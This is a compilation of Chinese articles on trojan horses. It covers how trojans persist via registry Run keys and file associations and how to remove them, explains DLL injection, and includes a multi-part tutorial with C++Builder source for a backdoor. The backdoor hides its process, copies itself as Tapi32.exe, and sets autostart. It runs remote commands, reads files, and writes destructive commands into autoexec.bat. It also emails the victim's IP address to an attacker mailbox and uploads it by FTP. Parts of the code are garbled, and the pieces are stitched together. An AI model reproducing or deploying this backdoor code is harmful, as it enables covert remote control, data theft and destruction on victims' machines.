在这里木马最惯用的伎俩就是把本应是“Explorer”变成它自己的程序名,名称伪装成几乎与原来的一样,只需稍稍改"Explorer”的字母“l”改为数字“1”,或者把其中的“o”改为数字“0”,这些改变如果不仔细留意是很难被人发现的,这就是我们前面所讲的欺骗性。当然也有的木马不是这样做的,而是直接把“Explorer”改为别的什么名字,因为他知道还是有很多朋友不知道这里就一定是“Explorer”,或者在“Explorer”加上点什么东东,加上的那些东东肯定就是木马程序了。

3、修改注册表

如果经常研究注册表的朋友一定知道,在注册表中我们也可以设置一些启动加载项目的,编制木马程序的高手们当然不会放过这样的机会的,况且他们知道注册表中更安全,因为会看注册表的人更少。事实上,只要是”Run\Run-\RunOnce\RunOnceEx\ RunServices \RunServices-\RunServicesOnce 等都是木马程序加载的入口,如[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows\CurrentVersion\Run或\RunOnce],如图3所示;

图3

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run或Run-或RunOnce或RunOnceEx或RunServices或RunServices-或RunServicesOnce],如图4所示。

图4

你只要按照其指定的源文件路径一路查过去,并具体研究一下它在你系统这中的作用就不难发现这些键值的作用了,不过同样要注意木马的欺骗性,它可是最善于伪装自己呵!同时还要仔细观察一下在这些键值项中是否有类似netspy.exe、空格、.exe或其它可疑的文件名,如有则立即删除。

4、修改文件打开关联

木马程序发展到了今天,他们发现以上的那些老招式不灵了,为了更加隐蔽自己,他们所采用隐蔽的手段也是越来越高明了(不过这也是万物的生存之道,你说呢?),它们采用修改文件打开关联来达到加载的目的,当你打开了一个已修改了打开关联的文件时,木马也就开始了它的运作,如冰河木马就是利用文本文件(.txt)这个最常见,但又最不引人注目的文件格式关联来加载自己,当有人打开文本文件时就自动加载了冰河木马。

修改关联的途经还是选择了注册表的修改,它主要选择的是文件格式中的“打开”、“编辑”、“打印”项目,如冰河木马修改的对象如图5所示,

图5

如果感染了冰河木马病毒则在[HKEY_CLASSES_ROOT\txtfile\shell\open\command]中的键值不是“c:\windows\notepad.exe %1”,而是改为“sy***plr.exe %1”。

以上所介绍的几种木马入侵方式,如果发现了我们当然是立即对其删除,并要立即与网络断开,切断黑客通讯的途径,在以上各种途径中查找,如果是在注册表发现的,则要利用注册表的查找功能全部查找一篇,清除所有的木马隐藏的窝点,做到彻底清除。如果作了注册表备份,最好全部删除注册表后再导入原来的备份注册表。

在清除木马前一定要注意,如果木马正在运行,则你无法删除其程序,这时你可以重启动到DOS方式然后将其删除。有的木马会自动检查其在注册表中的自启动项,如果你是在木马处于活动时删除该项的话它能自动恢复,这时你可以重启到DOS下将其程序删除后再进入Win9x下将其注册表中的自启动项删除

如何编写木马

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NMSMTP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

什么是木马程序,他是怎样盗取密码的,能详细说说吗?应该怎样判断是否是木马程序呢?

什么是木马?

特洛伊木马(以下简称木马),英文叫做“Trojan house”,其名称取自希腊神话的特洛伊木马记。

它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。

所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。

从木马的发展来看,基本上可以分为两个阶段。

最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。

而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。

所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。

参考资料:

回答者:完颜康康 - 探花 十一级 9-18 12:40

--------------------------------------------------------------------------------

DLL 木马揭秘

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物。什么是“DLL木马”呢?它与一般的木马有什么不同?

一、从DLL技术说起

要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码集合(通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,就能使用这个库包含的所有功能而不必自己再去写一大堆代码,这个技术被称为“静态链接”(Static Link)。静态链接技术让劳累的程序员松了口气,一切似乎都很美好。可是事实证明,美好的事物不会存在太久,因为静态链接就像一个粗鲁的推销员,不管你想不想要宣传单,他都全部塞到你的手上来。写一个程序只想用到一个库文件包含的某个图形效果,就因为这个,你不得不把这个库文件携带的所有的图形效果都加入程序,留着它们当花瓶摆设,这倒没什么重要,可是这些花瓶却把道路都阻塞了——静态链接技术让最终的程序成了大块头,因为编译器把整个库文件也算进去了。

时代在发展,静态链接技术由于天生的弊端,不能满足程序员的愿望,人们开始寻找一种更好的方法来解决代码重复的难题。后来,Windows系统出现了,时代的分水岭终于出现。Windows系统使用一种新的链接技术,这种被称为“动态链接”(Dynamic Link)的新技术同样也是使用库文件,微软称它们为“动态链接库”——Dynamic Link Library,DLL的名字就是这样来的。动态链接本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序文件,给它们开个交换数据的接口,程序员写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。完成需要的功能后,这个DLL停止运行,整个调用过程结束。微软让这些库文件能被多个程序调用,实现了比较完美的共享,程序员无论要写什么程序,只要在代码里加入对相关DLL的调用声明就能使用它的全部功能。最重要的是,DLL绝对不会让你多拿一个花瓶,你要什么它就给你什么,你不要的东西它才不会给你。这样,写出来的程序就不能再携带一大堆垃圾了——绝对不会让你把吃剩的东西带回家,否则罚款,这是自助餐。

DLL技术的诞生,使编写程序变成一件简单的事情,Windows为我们提供了几千个函数接口,足以满足大多数程序员的需要。而且,Windows系统自身就是由几千个DLL文件组成,这些DLL相互扶持,组成了强大的Windows系统。如果Windows使用静态链接技术,它的体积会有多大?我不敢想。

二、应用程序接口API

上面我们对DLL技术做了个大概分析,在里面我提到了“接口”,这又是什么呢?因为DLL不能像静态库文件那样塞进程序里,所以,如何让程序知道实现功能的代码和文件成了问题,微软就为DLL技术做了标准规范,让一个DLL文件像奶酪一样开了许多小洞,每个洞口都注明里面存放的功能的名字,程序只要根据标准规范找到相关洞口就可以取得它要的美味了,这个洞口就是“应用程序接口”(Application Programming Interface),每个DLL带的接口都不相同,尽最大可能的减少了代码的重复。用Steven的一句话:API就是一个工具箱,你根据需要取出螺丝刀、扳手,用完后再把它们放回原处。在Windows里,最基本的3个DLL文件是kernel32.dll、user32.dll、gdi32.dll。它们共同构成了基本的系统框架。

三、DLL与木马

DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。那么,DLL与木马能扯上什么关系呢?如果你学过编程并且写过DLL,就会发现,其实DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序了。当然,DLL文件是没有程序逻辑的,这里并不是说DLL=EXE,不过,依然可以把DLL看做缺少了main入口的EXE,DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。

四、DLL的运行

虽然DLL不能自己运行,可是Windows在加载DLL的时候,需要一个入口函数,就如同EXE的main一样,否则系统无法引用DLL。所以根据编写规范,Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据,这个函数不作为API导出,而是内部函数。DllMain函数使DLL得以保留在内存里,有的DLL里面没有DllMain函数,可是依然能使用,这是因为Windows在找不到DllMain的时候,会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入,并不是说DLL可以放弃DllMain函数。

五、DLL木马技术分析

到了这里,您也许会想,既然DLL木马有那么多好处,以后写木马都采用DLL方式不就好了吗?话虽然是这么说没错,但是DLL木马并不是一些人想象的那么容易写的。要写一个能用的DLL木马,你需要了解更多知识。

1.木马的主体

千万别把木马模块写得真的像个API库一样,这不是开发WINAPI。DLL木马可以导出几个辅助函数,但是必须有一个过程负责主要执行代码,否则这个DLL只能是一堆零碎API函数,别提工作了。

如果涉及一些通用代码,可以在DLL里写一些内部函数,供自己的代码使用,而不是把所有代码都开放成接口,这样它自己本身都难调用了,更不可能发挥作用。

DLL木马的标准执行入口为DllMain,所以必须在DllMain里写好DLL木马运行的代码,或者指向DLL木马的执行模块。

2.动态嵌入技术

Windows中,每个进程都有自己的私有内存空间,别的进程是不允许对这个私人领地进行操作的,但是,实际上我们仍然可以利用种种方法进入并操作进程的私有内存,这就是动态嵌入,它是将自己的代码嵌入正在运行的进程中的技术。动态嵌入有很多种,最常见的是钩子、API以及远程线程技术,现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见,罗技的MouseWare驱动就挂着每一个系统进程-_-

远程线程技术就是通过在另一个进程中创建远程线程(RemoteThread)的方法进入那个进程的内存地址空间。在DLL木马的范畴里,这个技术也叫做“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,要想让木马停止惟有让挂接这个木马DLL的进程退出运行。但是,很多时候我们只能束手无策——它和Explorer.exe挂在一起了,你确定要关闭Windows吗?

3.木马的启动

有人也许会迫不及待的说,直接把这个DLL加入系统启动项目不就可以了。答案是NO,前面说过,DLL不能独立运行,所以无法在启动项目里直接启动它。要想让木马跑起来,就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车,让被嵌入的进程调用这个DLL的DllMain函数,激发木马运行,最后启动木马的EXE结束运行,木马启动完毕。

启动DLL木马的EXE是个重要角色,它被称为Loader,如果没有Loader,DLL木马就是破烂一堆,因此,一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。记得狼狈为奸的故事吗?DLL木马就是爬在狼Loader上的狈。

Loader可以是多种多样的,Windows的rundll32.exe也被一些DLL木马用来做了Loader,这种木马一般不带动态嵌入技术,它直接挂着rundll32进程运行,用rundll32的方法(rundll32.exe [DLL名],[函数] [参数])像调用API一样去引用这个DLL的启动函数激发木马模块开始执行,即使你杀了rundll32,木马本体还是在的,一个最常见的例子就是3721中文实名,虽然它不是木马。

注册表的AppInit_DLLs键也被一些木马用来启动自己,如求职信病毒。利用注册表启动,就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的,对这个DLL的稳定性有很大要求,稍有错误就会导致系统崩溃,所以很少看到这种木马。

